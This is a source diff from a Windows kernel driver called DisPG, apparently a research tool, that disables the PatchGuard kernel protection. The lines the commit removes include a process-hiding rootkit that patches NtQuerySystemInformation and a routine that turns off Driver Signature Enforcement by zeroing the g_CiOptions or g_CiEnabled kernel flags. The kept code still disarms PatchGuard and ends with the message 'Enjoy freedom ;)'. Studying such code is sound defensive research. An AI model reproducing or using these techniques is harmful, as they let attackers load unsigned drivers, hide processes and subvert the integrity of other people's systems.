44//
55#include " stdafx.h"
66#include " util.h"
7- #include " rootkit.h"
87#include " win8.h"
98#include " winX.h"
109
@@ -62,12 +61,6 @@ NTSTATUS DispgpLoadPointerVaule(
6261EXTERN_C static
6362NTSTATUS DispgpDisablePatchGuard ();
6463
65- EXTERN_C static
66- NTSTATUS DispgpEnableRootkitFunction ();
67-
68- EXTERN_C static
69- void DispgpDisableSigningEnforcement ();
70-
7164EXTERN_C static
7265bool DispgpIsWindows8OrGreater ();
7366
@@ -93,7 +86,6 @@ static ULONG64 g_KernelVersion = 0;
9386// always
9487static ULONG_PTR g_ExAcquireResourceSharedLite = 0 ;
9588// ifVistaOr7
96- static BOOLEAN* g_CiEnabled = nullptr ;
9789static POOL_TRACKER_BIG_PAGES** g_PoolBigPageTable = nullptr ;
9890// ifXp
9991static POOL_TRACKER_BIG_PAGES_XP** g_PoolBigPageTableXp = nullptr ;
@@ -107,7 +99,6 @@ static ULONG_PTR g_KiCommitThreadWait = 0;
10799static ULONG_PTR g_KiAttemptFastRemovePriQueue = 0 ;
108100static ULONG_PTR g_KeDelayExecutionThread = 0 ;
109101static ULONG_PTR g_KeWaitForSingleObject = 0 ;
110- static UINT32* g_CiOptions = nullptr ;
111102
112103
113104// //////////////////////////////////////////////////////////////////////////////
@@ -124,50 +115,31 @@ NTSTATUS DriverEntry(
124115{
125116 PAGED_CODE ();
126117
127- // DBG_BREAK();
118+ DBG_BREAK ();
128119
129- DBG_PRINT (" [%4x:%4x] Initialize : Starting DisPG.\n " ,
130- PsGetCurrentProcessId (), PsGetCurrentThreadId ());
120+ DBG_PRINT (" [%5Iu:%5Iu] Initialize : Starting DisPG.\n " ,
121+ reinterpret_cast <ULONG_PTR>(PsGetCurrentProcessId ()),
122+ reinterpret_cast <ULONG_PTR>(PsGetCurrentThreadId ()));
131123
132124 auto status = DispgpInitialize (RegistryPath);
133125 if (!NT_SUCCESS (status))
134126 {
135127 return status;
136128 }
137129
138- // Disable PatchGuard. This function has to be called before
139- // DispgpEnableRootkitFunction or DispgpDisableSigningEnforcement as these
140- // functions install kernel patches.
130+ // Disable PatchGuard.
141131 status = DispgpDisablePatchGuard ();
142132 if (!NT_SUCCESS (status))
143133 {
144134 return status;
145135 }
146- DBG_PRINT (" [%4x:%4x] Initialize : PatchGuard has been disarmed.\n " ,
147- PsGetCurrentProcessId (), PsGetCurrentThreadId ());
148-
149- // // Enables rootkit function by installing kernel patches. The driver should
150- // // never be unloaded after this function succeeded as it installs hook code
151- // // that calls this driver.
152- // status = DispgpEnableRootkitFunction();
153- // if (!NT_SUCCESS(status))
154- // {
155- // return status;
156- // }
157- // DBG_PRINT("[%4x:%4x] Initialize : Hiding processes has been enabled.\n",
158- // PsGetCurrentProcessId(), PsGetCurrentThreadId());
159-
160- // Disable DSE if applicable
161- if (!DispgpIsWindowsXp ())
162- {
163- DispgpDisableSigningEnforcement ();
164- DBG_PRINT (" [%4x:%4x] Initialize : Driver Signing Enforcement has been"
165- " disabled.\n " ,
166- PsGetCurrentProcessId (), PsGetCurrentThreadId ());
167- }
136+ DBG_PRINT (" [%5Iu:%5Iu] Initialize : PatchGuard has been disarmed.\n " ,
137+ reinterpret_cast <ULONG_PTR>(PsGetCurrentProcessId ()),
138+ reinterpret_cast <ULONG_PTR>(PsGetCurrentThreadId ()));
168139
169- DBG_PRINT (" [%4x:%4x] Initialize : Enjoy freedom ;)\n " ,
170- PsGetCurrentProcessId (), PsGetCurrentThreadId ());
140+ DBG_PRINT (" [%5Iu:%5Iu] Initialize : Enjoy freedom ;)\n " ,
141+ reinterpret_cast <ULONG_PTR>(PsGetCurrentProcessId ()),
142+ reinterpret_cast <ULONG_PTR>(PsGetCurrentThreadId ()));
171143 return status;
172144}
173145
@@ -260,7 +232,6 @@ NTSTATUS DispgpLoadSymbolAddresses(
260232 const SymbolSet requireSymbols[] =
261233 {
262234 { L" ntoskrnl!ExAcquireResourceSharedLite" , reinterpret_cast <void **>(&g_ExAcquireResourceSharedLite), always, },
263- { L" ntoskrnl!g_CiEnabled" , reinterpret_cast <void **>(&g_CiEnabled), ifVistaOr7, },
264235 { L" ntoskrnl!PoolBigPageTable" , reinterpret_cast <void **>(&g_PoolBigPageTable), ifVistaOr7, },
265236 { L" ntoskrnl!PoolBigPageTable" , reinterpret_cast <void **>(&g_PoolBigPageTableXp), ifXp, },
266237 { L" ntoskrnl!PoolBigPageTableSize" , reinterpret_cast <void **>(&g_PoolBigPageTableSize), ifNot8OrGreater, },
@@ -271,7 +242,6 @@ NTSTATUS DispgpLoadSymbolAddresses(
271242 { L" ntoskrnl!KiAttemptFastRemovePriQueue" , reinterpret_cast <void **>(&g_KiAttemptFastRemovePriQueue), if8OrGreater, },
272243 { L" ntoskrnl!KeDelayExecutionThread" , reinterpret_cast <void **>(&g_KeDelayExecutionThread), if8OrGreater, },
273244 { L" ntoskrnl!KeWaitForSingleObject" , reinterpret_cast <void **>(&g_KeWaitForSingleObject), if8OrGreater, },
274- { L" ci!g_CiOptions" , reinterpret_cast <void **>(&g_CiOptions), if8OrGreater, },
275245 };
276246
277247 // Load each symbol from the registry if required
@@ -391,64 +361,6 @@ NTSTATUS DispgpDisablePatchGuard()
391361}
392362
393363
394- // Enable hiding processes function
395- ALLOC_TEXT (INIT, DispgpEnableRootkitFunction)
396- EXTERN_C static
397- NTSTATUS DispgpEnableRootkitFunction()
398- {
399- PAGED_CODE ();
400- auto status = STATUS_UNSUCCESSFUL;
401-
402- if ((g_WindowsVersion.dwMajorVersion == 6 && g_WindowsVersion.dwMinorVersion == 3 )
403- || (g_WindowsVersion.dwMajorVersion == 6 && g_WindowsVersion.dwMinorVersion == 1 ))
404- {
405- // For Win 8 and 7
406- status = RootkitEnableRootkit (
407- 18 ,
408- reinterpret_cast <ULONG_PTR>(AsmNtQuerySystemInformation_Win8_1),
409- reinterpret_cast <ULONG_PTR>(AsmNtQuerySystemInformation_Win8_1End));
410- }
411- else if (g_WindowsVersion.dwMajorVersion == 6 && g_WindowsVersion.dwMinorVersion == 0 )
412- {
413- // For Win Vista
414- status = RootkitEnableRootkit (
415- 18 ,
416- reinterpret_cast <ULONG_PTR>(AsmNtQuerySystemInformation_WinVista),
417- reinterpret_cast <ULONG_PTR>(AsmNtQuerySystemInformation_WinVistaEnd));
418- }
419- else if (DispgpIsWindowsXp ())
420- {
421- // For Win XP
422- status = RootkitEnableRootkit (
423- 18 ,
424- reinterpret_cast <ULONG_PTR>(AsmNtQuerySystemInformation_WinXp),
425- reinterpret_cast <ULONG_PTR>(AsmNtQuerySystemInformation_WinXpEnd));
426- }
427- return status;
428- }
429-
430-
431- // Disable Driver Signing Enforcement. This function should never been called
432- // on Win XP since it has no Driver Signing Enforcement on the platform.
433- ALLOC_TEXT (INIT, DispgpDisableSigningEnforcement)
434- EXTERN_C static
435- void DispgpDisableSigningEnforcement()
436- {
437- PAGED_CODE ();
438-
439- if (DispgpIsWindows8OrGreater ())
440- {
441- // For Win 8.1
442- *g_CiOptions = 0 ;
443- }
444- else
445- {
446- // For Win 7 and Vista
447- *g_CiEnabled = FALSE ;
448- }
449- }
450-
451-
452364// Return true if the platform is Win 8 or later
453365ALLOC_TEXT (INIT, DispgpIsWindows8OrGreater)
454366EXTERN_C static
0 commit comments